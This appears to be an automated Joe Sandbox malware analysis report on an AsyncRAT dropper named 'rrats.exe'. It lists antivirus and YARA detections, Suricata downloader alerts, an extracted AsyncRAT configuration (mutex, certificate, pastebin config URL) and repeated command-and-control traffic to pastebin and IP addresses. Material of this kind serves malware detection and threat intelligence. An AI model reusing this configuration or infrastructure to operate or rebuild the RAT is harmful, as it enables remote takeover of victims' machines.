2024-12-09T14:14:41.130094+0100	2803305	3	Unknown Traffic	192.168.2.5	50028	172.67.19.24	80	TCP
2024-12-09T14:14:47.676907+0100	2803305	3	Unknown Traffic	192.168.2.5	50030	172.67.19.24	80	TCP
2024-12-09T14:14:54.442475+0100	2803305	3	Unknown Traffic	192.168.2.5	50033	172.67.19.24	80	TCP
2024-12-09T14:15:01.185178+0100	2803305	3	Unknown Traffic	192.168.2.5	50036	172.67.19.24	80	TCP
2024-12-09T14:15:07.864248+0100	2803305	3	Unknown Traffic	192.168.2.5	50039	172.67.19.24	80	TCP
2024-12-09T14:15:22.618944+0100	2803305	3	Unknown Traffic	192.168.2.5	50047	172.67.19.24	80	TCP
2024-12-09T14:15:37.637427+0100	2803305	3	Unknown Traffic	192.168.2.5	50053	172.67.19.24	80	TCP
2024-12-09T14:15:38.178561+0100	2803305	3	Unknown Traffic	192.168.2.5	50053	172.67.19.24	80	TCP
2024-12-09T14:15:44.362516+0100	2803305	3	Unknown Traffic	192.168.2.5	50054	172.67.19.24	80	TCP
2024-12-09T14:15:44.785853+0100	2803305	3	Unknown Traffic	192.168.2.5	50054	172.67.19.24	80	TCP
2024-12-09T14:15:51.334402+0100	2803305	3	Unknown Traffic	192.168.2.5	50056	172.67.19.24	80	TCP
2024-12-09T14:15:57.863773+0100	2803305	3	Unknown Traffic	192.168.2.5	50057	172.67.19.24	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: rrats.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Explorer.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\explore.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Avira: detection malicious, Label: TR/Dropper.Gen

Found malware configuration

Source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp

Malware Configuration Extractor: AsyncRAT {"Mutex": "RRAT_nMo7Zfs0N", "Certificate": "MIIE8jCCAtqgAwIBAgIQAP1hzmrgL5qNkPrA8fqq+zANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjAwNTA3MTgyNTI2WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIIo9I64dBM7+4GawVLepf4oWhJAOY/dJ4gs5A8ivFPxJKpcXVNbUAF3J8kQGcQXQ9rP3T9mI6kK9FQVIHkQHkQ9CujdjULUw48/DnhM6TxtZKGAPNMceY6UjTOmvEASzwOzsIG16akW9RY2S4wbu2VRg7rkU9eiY3rtqt16/eJZgVZHWiO4hjkNgUyJCbkgxceew6xcmqQFaSAAcohOdaUJepuO6LLkt+rbwLIlCASIvM53oqu2eNL8Xk5/2bP2dhKTBfX/aD9xsfAN1BacEg5QcmwZgOeP8JJUC3nWLwXq8tRMPeTPYp9veHaQn9wWst6Rm3rDAh5bYbLxWNj4wi1stiAJ0yk0/+XXL5IQyCPfW/Q5oFYw+hhDiGFJQfim2ZfBvOjjoPVDdovpWp90c87gaiWGZbzLSedTomNfGcC36wUagtkKBXPFbcv4eWIXoPdwSjPk5LgJKgY+0g8iOCzawN9vIzUmkb3LPDwiluIqCOvqmUeAlrkthBhFJCOdfylNa3h4yDAsaZ+skQJle/YoF8AjBn0xAXsX1Q67/FSRUNDosuU+dqIZrii7jP8Qqc2F663sGamumrSAl3PXBL+UhVYoqkQqZG/D6e4qllcwH+dXBB27TMqY3b+xCv+slaraW2OIpYLQvTxGurpRF+BiCClZ9R0saYV2aSHBJW0rAgMBAAGjMjAwMB0GA1UdDgQWBBSjj9Cw11x4A95sxB4xy2LBe/0D8DAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQBx9/VPQZFmIlqEl6QlR1lrToLbBdvksyr90Q/6LdGj9jlFfYpuzJjoSZ6UWYXifwEPHAIuaEqAzb91WeRkLgW6foTLlOOMu7fGFxi895huFT/QKfSUiKIRNxS8sM+/vBBz3YtvhehQaabSomOzl93/V5VJDt0e3xaANUeuVmnUlE1OMWWM0qRrGJtd7F8fE5Uk/rh7gIA/o8maQECpxpyHL1KTdcxdC3B+GyNQHYqiU9F/wRK5Zpx1+3YJ7162KhWtpzlm8iaVQToY3k8GPZkwj8sDRkuPpCzhDw3aHNtsAQmY0JEjBJcPAVCZ+/VzSboE+auT58BjwUf2DQRi2Xzh2jc/G08yvViXL4N88ZnK9QTiyMi50TFHBiqIizfDHL2YDJg2XpatRul49SPTxmIuwUt/3Wljz3kn/UM8MpcXPZbbzZMIYPjTiBqo9DijlBa/6JP4gtfzmgz6LCSv4wRGKR/9/Xkese/mE43zVLZopDMDn3tiPq8jobJ+2UAmm/V4WeRu3SiVn54aalDW3y9aWXpJhBXhldW+mF3q596n79OZDUNHZeor1Q3IFrXHZ/7zv9gk6Y5H96aQYUSEchAJikxVPk9Y5fygR16QG0U9sx0+7vTots9ioqvm7XMa+5xfZ+qk35RuiNqSlOY66mLEO0vex8cFFp3rvGj89VqD4g==", "Server Signature": "ZAEVYE4+WDbUbphyNWIlYDNiT/0G1m9oCuNRmqApkPq6DK43FO9IDy0E8zAIsJqQGMPgP1NzlXR2kcsyXklHOExDxYS3BgDNGipVUm+7oBSM9xIUV90aAwMlMzGtD/d5LKJ50z3PIis8Nj9WXzSPSL1/AbQ9Lq13L9V7jdRZiDkVQb2sLWoUErXM4eM0zmtCIpvRbO6yvBr/zUh3mKmOtugjkXGwE7CMEWCCB4fnfJm4tKYpDle+WxRa/ZfioEFdHTi9ZgzDLBvOWbQZWJMVvrlkXNZ7ENh/Ugpd+1rggG0z06CRTxmnEULOb+ej2kTU57iWbicoZRsme2t5XSwWmnD6OTmX1/mlgn9YnRFiqiL1GZlkNhXSuLUMELD7FV3L7xO86rjZLt8dX+BrHCZCzFF+3yzI7IEnpIf5Lmr+Q29LgsdB+ZUeCIBGnJ8GinuDNlijxi9AWzYj3Nmukgv2ltukS1k8021CWQu6TRKJXURqrECPkCwdt4z8i3A/3ojdz9AwFyK4tXUop7fkL++8lwinbMBXgxDLcXd/y+nmv34okEGRYMH5VUz1v6QIrfHhyYHSiQ7NqQ5953KaE+u9FN0JXCtZxmd2WiW/aoYw3ob7HIexuk0ytURxvG52YyVfdMuzhqe9QDc8U4MkkkOO4eQK2F/5q/iG99dyHrKwVek=", "External_config_on_Pastebin": "http://pastebin.com/raw/hbwHfEg3"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\explore.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\Explorer.exe	ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: rrats.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Explorer.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\explore.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Joe Sandbox ML: detected

Source: rrats.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50059 version: TLS 1.2

Source: rrats.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: rrats.exe
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb source: rrats.exe, 00000000.00000003.2025471553.0000000007875000.00000004.00000020.00020000.00000000.sdmp, a.exe, 00000004.00000000.2030069537.0000000000EA8000.00000002.00000001.01000000.00000009.sdmp, a.exe, 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmp, a.exe.0.dr

Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CAA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00CAA69B
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CBC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00CBC220
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CCB348 FindFirstFileExA,	0_2_00CCB348
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E82AF9 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	4_2_00E82AF9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E91260 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	4_2_00E91260
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E9FCC8 FindFirstFileExA,	4_2_00E9FCC8

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\AppData\Roaming\Explorer.exe	Network Connect: 104.20.4.235 443	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Network Connect: 172.67.19.24 443	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Network Connect: 194.67.204.7 88	Jump to behavior

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com

Yara detected Generic Downloader

Source: Yara match	File source: 5.0.rrat.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a.exe PID: 1372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rrat.exe PID: 1968, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\explore.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Explorer.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 194.67.204.7:88

Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com

Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: IHOR-ASRU IHOR-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49760 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49836 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49911 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49959 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50010 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50023 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50021 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50054 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50053 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50030 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50033 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50026 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50036 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50028 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50047 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50039 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50056 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50057 -> 172.67.19.24:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49869 -> 172.67.19.24:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49819 -> 172.67.19.24:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49795 -> 172.67.19.24:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49994 -> 172.67.19.24:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49844 -> 172.67.19.24:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49894 -> 172.67.19.24:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49968 -> 172.67.19.24:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49942 -> 172.67.19.24:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49919 -> 172.67.19.24:443

Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.204.7
Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.204.7
Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.204.7
Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.204.7
Source: unknown	TCP traffic detected without corresponding DNS query: 194.67.204.7
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
